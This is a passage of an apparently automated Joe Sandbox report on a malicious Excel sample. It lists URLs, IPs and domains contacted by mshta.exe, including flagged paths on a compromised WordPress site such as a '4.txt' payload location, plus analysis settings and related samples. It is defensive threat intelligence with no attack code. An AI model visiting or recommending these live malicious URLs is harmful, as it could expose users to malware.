                    http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20=Bmshta.exe, 0000000A.00000003.386063052.0000000007133000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545320205.0000000007133000.00000004.00000800.00020000.00000000.sdmptrue
                    • Avira URL Cloud: malware
                    		unknown
                    https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFileB16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
                      		high
                      http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2dmshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmptrue
                      • Avira URL Cloud: malware
                      		unknown
                      https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicyB16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
                        		high
                        https://lh6.ggpht.com/js[1].js.10.drfalse
                          		high
                          http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png.3vmshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmptrue
                          • Avira URL Cloud: malware
                          		unknown
                          http://www.opensource.org/licenses/mit-license.phpmshta.exe, 0000000A.00000002.556911934.000000000CD62000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332510512.000000000714A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386403873.000000000CD62000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.557363777.000000000CF0E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332337430.0000000007135000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545850187.0000000007190000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387670295.000000000CE74000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386732370.00000000071E7000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387016057.000000000CF0C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.546209264.00000000071EA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.557285067.000000000CE72000.00000004.00000800.00020000.00000000.sdmp, swfobject[1].js.10.dr, camera.min[1].js.10.dr, jplayer.playlist.min[1].js.10.drfalse
                            		high
                            http://twitter.com/fontawesome.mshta.exe, 0000000A.00000003.303044900.0000000006BD3000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.drfalse
                              		high
                              https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPoliciesB16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
                                		high
                                https://translate.google.com/smshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  https://developers.google.com/maps/documentation/javascript/styling#cloud_toolingmshta.exe, 0000000A.00000003.303502984.0000000006BE5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303066944.0000000006BE5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303083813.0000000006BE5000.00000004.00000800.00020000.00000000.sdmp, js[1].js.10.drfalse
                                    		high
                                    https://github.com/joeldbirch/onHoverIntentmshta.exe, 0000000A.00000003.392926449.00000000082A0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386455346.000000000CF1B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.393155976.00000000082A1000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.393217836.00000000082A3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.380236012.0000000006CAD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.557399938.000000000CF21000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.552071947.00000000082A4000.00000004.00000800.00020000.00000000.sdmp, superfish[1].js.10.drfalse
                                      		high
                                      https://res.getmicrosoftkey.com/api/redemptioneventsB16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
                                      • URL Reputation: safe
                                      		unknown
                                      https://tasks.office.comB16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
                                        		high
                                        http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.200mshta.exe, 0000000A.00000002.542517709.0000000006B39000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmptrue
                                        • Avira URL Cloud: malware
                                        		unknown
                                        https://support.google.com/fusiontables/answer/9185417).js[1].js.10.drfalse
                                          		high
                                          http://kyruus.commshta.exe, 0000000A.00000003.303044900.0000000006BD3000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.drfalse
                                          • URL Reputation: safe
                                          		unknown
                                          http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2TV-mshta.exe, 0000000A.00000002.545850187.0000000007190000.00000004.00000800.00020000.00000000.sdmpfalse
                                            		high
                                            https://facextrade.com.br/#contatosEmshta.exe, 0000000A.00000002.541911720.0000000006AEA000.00000004.00000800.00020000.00000000.sdmptrue
                                            • Avira URL Cloud: malware
                                            		unknown
                                            http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0ymshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmptrue
                                            • Avira URL Cloud: malware
                                            		unknown
                                            https://my.microsoftpersonalcontent.comB16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
                                            • URL Reputation: safe
                                            		unknown
                                            https://www.google.com/mapsjs[1].js.10.drfalse
                                              		high
                                              https://store.office.cn/addinstemplateB16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
                                              • URL Reputation: safe
                                              		unknown
                                              https://facextrade.com.br/feed/mshta.exe, 0000000A.00000002.537862942.0000000003554000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537609183.000000000353C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387290673.000000000353C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmptrue
                                              • Avira URL Cloud: malware
                                              		unknown
                                              https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeechB16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
                                                		high
                                                http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.68mshta.exe, 0000000A.00000002.541911720.0000000006AEA000.00000004.00000800.00020000.00000000.sdmptrue
                                                • Avira URL Cloud: malware
                                                		unknown
                                                https://www.odwebp.svc.msB16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
                                                • URL Reputation: safe
                                                		unknown
                                                https://api.addins.store.officeppe.com/addinstemplateB16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
                                                • URL Reputation: safe
                                                		unknown
                                                https://facextrade.com.br/#contatos=mshta.exe, 0000000A.00000002.541911720.0000000006AEA000.00000004.00000800.00020000.00000000.sdmptrue
                                                • Avira URL Cloud: malware
                                                		unknown
                                                https://graph.windows.netB16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
                                                  		high
                                                  http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit23mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    		high
                                                    http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jsptmshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmptrue
                                                    • Avira URL Cloud: malware
                                                    		unknown
                                                    https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.jsonB16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
                                                      		high
                                                      http://info.template-help.com/help/style[1].css.10.drfalse
                                                        		high
                                                        http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3kpmshta.exe, 0000000A.00000003.386488905.000000000CCEE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmptrue
                                                        • Avira URL Cloud: malware
                                                        		unknown
                                                        https://ncus.contentsync.B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        http://facextrade.com.br/wp-includes/certificates/4.txtyle.cssE5mshta.exe, 0000000A.00000003.332658393.00000000034E3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387469878.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.536752026.00000000034E4000.00000004.00000020.00020000.00000000.sdmptrue
                                                        • Avira URL Cloud: malware
                                                        		unknown
                                                        http://facextrade.com.br/wp-includes/certificates/4.txt5jmshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmptrue
                                                        • Avira URL Cloud: malware
                                                        		unknown
                                                        https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
                                                          		high
                                                          http://weather.service.msn.com/data.aspxB16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
                                                            		high
                                                            http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js-lmshta.exe, 0000000A.00000002.542301085.0000000006B1C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmptrue
                                                            • Avira URL Cloud: malware
                                                            		unknown
                                                            http://facextrade.com.br/wp-includes/certificates/4.txtmshtamshta.exe, 0000000A.00000002.535529252.0000000003310000.00000004.00000020.00020000.00000000.sdmptrue
                                                            • Avira URL Cloud: malware
                                                            		unknown
                                                            https://word.uservoice.com/forums/304948-word-for-ipad-iphone-iosB16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
                                                              		high
                                                              https://autodiscover-s.outlook.com/autodiscover/autodiscover.xmlB16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
                                                                		high
                                                                http://www.gnu.org/copyleft/gpl.htmlmshta.exe, 0000000A.00000002.557363777.000000000CF0E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386732370.00000000071E7000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387016057.000000000CF0C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.546209264.00000000071EA000.00000004.00000800.00020000.00000000.sdmp, jplayer.playlist.min[1].js.10.drfalse
                                                                  		high
                                                                  http://facextrade.com.br/wp-content/themes/theme51253/main-style.cssets/css/logo-slider-wp-public.csmshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmptrue
                                                                  • Avira URL Cloud: malware
                                                                  		unknown
                                                                  https://wus2.contentsync.B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
                                                                  • URL Reputation: safe
                                                                  		unknown
                                                                  http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0er=2.6.0ymshta.exe, 0000000A.00000002.542301085.0000000006B1C000.00000004.00000800.00020000.00000000.sdmptrue
                                                                  • Avira URL Cloud: malware
                                                                  		unknown
                                                                  https://o365auditrealtimeingestion.manage.office.comB16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
                                                                    		high
                                                                    https://outlook.office365.com/api/v1.0/me/ActivitiesB16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
                                                                      		high
                                                                      https://vimeo.com/channels/:channel/:idmshta.exe, 0000000A.00000002.556298812.000000000CC90000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.drfalse
                                                                        		high
                                                                        https://khms0.google.com/kh?v=143js[1].js.10.drfalse
                                                                          		high
                                                                          http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20B7mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmptrue
                                                                          • Avira URL Cloud: malware
                                                                          		unknown
                                                                          https://clients.config.office.net/user/v1.0/android/policiesB16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
                                                                            		high
                                                                            http://facextrade.com.br/wp-includes/wlwmanifest.xml4mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmptrue
                                                                            • Avira URL Cloud: malware
                                                                            		unknown
                                                                            https://developers.google.com/maps/documentation/javascript/error-messages#unsupported-browsersjs[1].js.10.drfalse
                                                                              		high
                                                                              http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6?veLMEMmshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmptrue
                                                                              • Avira URL Cloud: malware
                                                                              		unknown
                                                                              https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.jsonB16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
                                                                                		high
                                                                                http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2s#mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                • Avira URL Cloud: malware
                                                                                		unknown
                                                                                http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0z6mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                • Avira URL Cloud: malware
                                                                                		unknown
                                                                                http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.cssqmshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                • Avira URL Cloud: malware
                                                                                		unknown
                                                                                https://substrate.office.com/search/api/v1/SearchHistoryB16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
                                                                                  		high
                                                                                  http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.31-mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmptrue
                                                                                  • Avira URL Cloud: malware
                                                                                  		unknown
                                                                                  http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2R6mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                  • Avira URL Cloud: malware
                                                                                  		unknown
                                                                                  http://daneden.me/animatemshta.exe, 0000000A.00000003.314619092.000000000710A000.00000004.00000800.00020000.00000000.sdmp, animate-logo[1].css.10.drfalse
                                                                                  • URL Reputation: safe
                                                                                  		unknown
                                                                                  http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0gmshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                  • Avira URL Cloud: malware
                                                                                  		unknown
                                                                                  http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20r=4.mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmptrue
                                                                                  • Avira URL Cloud: malware
                                                                                  		unknown
                                                                                  http://facextrade.com.br/wp-includes/certificates/privacy-policymshta.exe, 0000000A.00000003.386063052.0000000007133000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545320205.0000000007133000.00000004.00000800.00020000.00000000.sdmptrue
                                                                                  • Avira URL Cloud: malware
                                                                                  		unknown
                                                                                  https://geo3.ggpht.com/cbk.mshta.exe, 0000000A.00000002.543184834.0000000006BD4000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.3hmshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmptrue
                                                                                    • Avira URL Cloud: malware
                                                                                    		unknown
                                                                                    https://devnull.onenote.comB16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
                                                                                      		high

                                                                                      World Map of Contacted IPs

                                                                                      • No. of IPs < 25%
                                                                                      • 25% < No. of IPs < 50%
                                                                                      • 50% < No. of IPs < 75%
                                                                                      • 75% < No. of IPs

                                                                                      Public IPs

                                                                                      IPDomainCountryFlagASNASN NameMalicious
                                                                                      142.250.181.238
                                                                                      		www3.l.google.comUnited States
                                                                                      		15169GOOGLEUSfalse
                                                                                      104.18.10.207
                                                                                      		netdna.bootstrapcdn.comUnited States
                                                                                      		13335CLOUDFLARENETUSfalse
                                                                                      187.45.240.69
                                                                                      		facextrade.com.brBrazil
                                                                                      		27715LocawebServicosdeInternetSABRtrue

                                                                                      Private

                                                                                      IP
                                                                                      192.168.2.1
                                                                                      127.0.0.1

                                                                                      General Information

                                                                                      Joe Sandbox Version:35.0.0 Citrine
                                                                                      Analysis ID:684675
                                                                                      Start date and time:2022-08-16 11:38:01 +02:00
                                                                                      Joe Sandbox Product:CloudBasic
                                                                                      Overall analysis duration:0h 8m 39s
                                                                                      Hypervisor based Inspection enabled:false
                                                                                      Report type:full
                                                                                      Sample file name:SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls
                                                                                      Cookbook file name:defaultwindowsofficecookbook.jbs
                                                                                      Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                                      Run name:Potential for more IOCs and behavior
                                                                                      Number of analysed new started processes analysed:31
                                                                                      Number of new started drivers analysed:0
                                                                                      Number of existing processes analysed:0
                                                                                      Number of existing drivers analysed:0
                                                                                      Number of injected processes analysed:0
                                                                                      Technologies:
                                                                                      • HCA enabled
                                                                                      • EGA enabled
                                                                                      • HDC enabled
                                                                                      • GSI enabled (VBA)
                                                                                      • AMSI enabled
                                                                                      Analysis Mode:default
                                                                                      Analysis stop reason:Timeout
                                                                                      Detection:MAL
                                                                                      Classification:mal100.troj.expl.evad.winXLS@13/90@4/5
                                                                                      EGA Information:Failed
                                                                                      HDC Information:Failed
                                                                                      HCA Information:
                                                                                      • Successful, ratio: 92%
                                                                                      • Number of executed functions: 130
                                                                                      • Number of non-executed functions: 0
                                                                                      Cookbook Comments:
                                                                                      • Found application associated with file extension: .xls
                                                                                      • Adjust boot time
                                                                                      • Enable AMSI
                                                                                      • Found Word or Excel or PowerPoint or XPS Viewer
                                                                                      • Attach to Office via COM
                                                                                      • Scroll down
                                                                                      • Close Viewer

                                                                                      Warnings

                                                                                      • Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe, wuapihost.exe
                                                                                      • Excluded IPs from analysis (whitelisted): 23.211.6.115, 52.109.88.191, 52.109.88.37, 52.109.12.21, 142.250.181.234, 172.217.18.106, 172.217.16.195
                                                                                      • Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fonts.googleapis.com, fs.microsoft.com, prod-w.nexus.live.com.akadns.net, fonts.gstatic.com, prod.configsvc1.live.com.akadns.net, ctldl.windowsupdate.com, store-images.s-microsoft.com-c.edgekey.net, arc.msn.com, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, maps.googleapis.com, login.live.com, store-images.s-microsoft.com, config.officeapps.live.com, sls.update.microsoft.com, nexus.officeapps.live.com, officeclient.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, europe.configsvc1.live.com.akadns.net
                                                                                      • Execution Graph export aborted for target mshta.exe, PID 5612 because it is empty
                                                                                      • Not all processes where analyzed, report is missing behavior information
                                                                                      • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                                                      • Report size getting too big, too many NtDeviceIoControlFile calls found.
                                                                                      • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                      • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                      • Report size getting too big, too many NtQueryValueKey calls found.

                                                                                      Simulations

                                                                                      Behavior and APIs

                                                                                      TimeTypeDescription
                                                                                      11:39:40API Interceptor10x Sleep call for process: mshta.exe modified

                                                                                      Joe Sandbox View / Context

                                                                                      IPs

                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                      104.18.10.207SecuriteInfo.com.Exploit.Siggen3.17149.10211.xlsGet hashmaliciousBrowse
                                                                                      • netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.6905.xlsGet hashmaliciousBrowse
                                                                                      • netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.32268.xlsGet hashmaliciousBrowse
                                                                                      • netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.6905.xlsGet hashmaliciousBrowse
                                                                                      • netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.4633.xlsGet hashmaliciousBrowse
                                                                                      • netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.21631.xlsGet hashmaliciousBrowse
                                                                                      • netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.14541.xlsGet hashmaliciousBrowse
                                                                                      • netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1

                                                                                      Domains

                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                      gstaticadssl.l.google.comSecuriteInfo.com.Exploit.Siggen3.17149.3543.xlsGet hashmaliciousBrowse
                                                                                      • 172.217.16.195
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.10211.xlsGet hashmaliciousBrowse
                                                                                      • 172.217.16.195
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.24514.xlsGet hashmaliciousBrowse
                                                                                      • 172.217.16.195
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.6905.xlsGet hashmaliciousBrowse
                                                                                      • 172.217.16.195
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.32268.xlsGet hashmaliciousBrowse
                                                                                      • 172.217.16.195
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.6905.xlsGet hashmaliciousBrowse
                                                                                      • 172.217.16.195
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.12724.xlsGet hashmaliciousBrowse
                                                                                      • 172.217.16.195
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.8245.xlsGet hashmaliciousBrowse
                                                                                      • 172.217.16.195
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.13096.xlsGet hashmaliciousBrowse
                                                                                      • 172.217.16.195
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.5932.xlsGet hashmaliciousBrowse
                                                                                      • 172.217.16.195
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.4633.xlsGet hashmaliciousBrowse
                                                                                      • 172.217.16.195
                                                                                      00187679526.xlsxGet hashmaliciousBrowse
                                                                                      • 172.217.16.195
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.4633.xlsGet hashmaliciousBrowse
                                                                                      • 172.217.16.195
                                                                                      00187679526.xlsxGet hashmaliciousBrowse
                                                                                      • 172.217.16.195
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.21631.xlsGet hashmaliciousBrowse
                                                                                      • 172.217.16.195
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.32408.xlsGet hashmaliciousBrowse
                                                                                      • 172.217.16.195
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.14541.xlsGet hashmaliciousBrowse
                                                                                      • 172.217.16.195
                                                                                      https://ipfs.io/ipfs/QmfAndQD4wG6xZpoY4WWL48A9H5qKFYHayWXGx5CvY9zqW?filename=index.html#info@discoversaudi.saGet hashmaliciousBrowse
                                                                                      • 172.217.16.195
                                                                                      https://1drv.ms/o/s!BNQ8gxErh5UyqzXqmlklq3e6FqQy?e=zWDj8VlDB0yYeUjfLHMDHg&at=9Get hashmaliciousBrowse
                                                                                      • 172.217.16.195
                                                                                      http://asweptomnd.bluwma.ml/5690394.htmlGet hashmaliciousBrowse
                                                                                      • 172.217.16.195
                                                                                      facextrade.com.brSecuriteInfo.com.Exploit.Siggen3.17149.3543.xlsGet hashmaliciousBrowse
                                                                                      • 187.45.240.69
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.10211.xlsGet hashmaliciousBrowse
                                                                                      • 187.45.240.69
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17232.18991.xlsGet hashmaliciousBrowse
                                                                                      • 187.45.240.69
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17232.16558.xlsGet hashmaliciousBrowse
                                                                                      • 187.45.240.69
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17232.29868.xlsGet hashmaliciousBrowse
                                                                                      • 187.45.240.69
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.24514.xlsGet hashmaliciousBrowse
                                                                                      • 187.45.240.69
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17232.23052.xlsGet hashmaliciousBrowse
                                                                                      • 187.45.240.69
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.6905.xlsGet hashmaliciousBrowse
                                                                                      • 187.45.240.69
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17232.12175.xlsGet hashmaliciousBrowse
                                                                                      • 187.45.240.69
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17232.9077.xlsGet hashmaliciousBrowse
                                                                                      • 187.45.240.69
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.32268.xlsGet hashmaliciousBrowse
                                                                                      • 187.45.240.69
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.6905.xlsGet hashmaliciousBrowse
                                                                                      • 187.45.240.69
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.12724.xlsGet hashmaliciousBrowse
                                                                                      • 187.45.240.69
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.8245.xlsGet hashmaliciousBrowse
                                                                                      • 187.45.240.69
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.13096.xlsGet hashmaliciousBrowse
                                                                                      • 187.45.240.69
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.5932.xlsGet hashmaliciousBrowse
                                                                                      • 187.45.240.69
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.4633.xlsGet hashmaliciousBrowse
                                                                                      • 187.45.240.69
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17232.13262.xlsGet hashmaliciousBrowse
                                                                                      • 187.45.240.69
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17232.15725.xlsGet hashmaliciousBrowse
                                                                                      • 187.45.240.69
                                                                                      SecuriteInfo.com.Exploit.Siggen3.17149.4633.xlsGet hashmaliciousBrowse
                                                                                      • 187.45.240.69

                                                                                      ASNs

                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                      CLOUDFLARENETUSSecuriteInfo.com.Exploit.Siggen3.17149.3543.xlsGet hashmaliciousBrowse
                                                                                      • 104.18.11.207
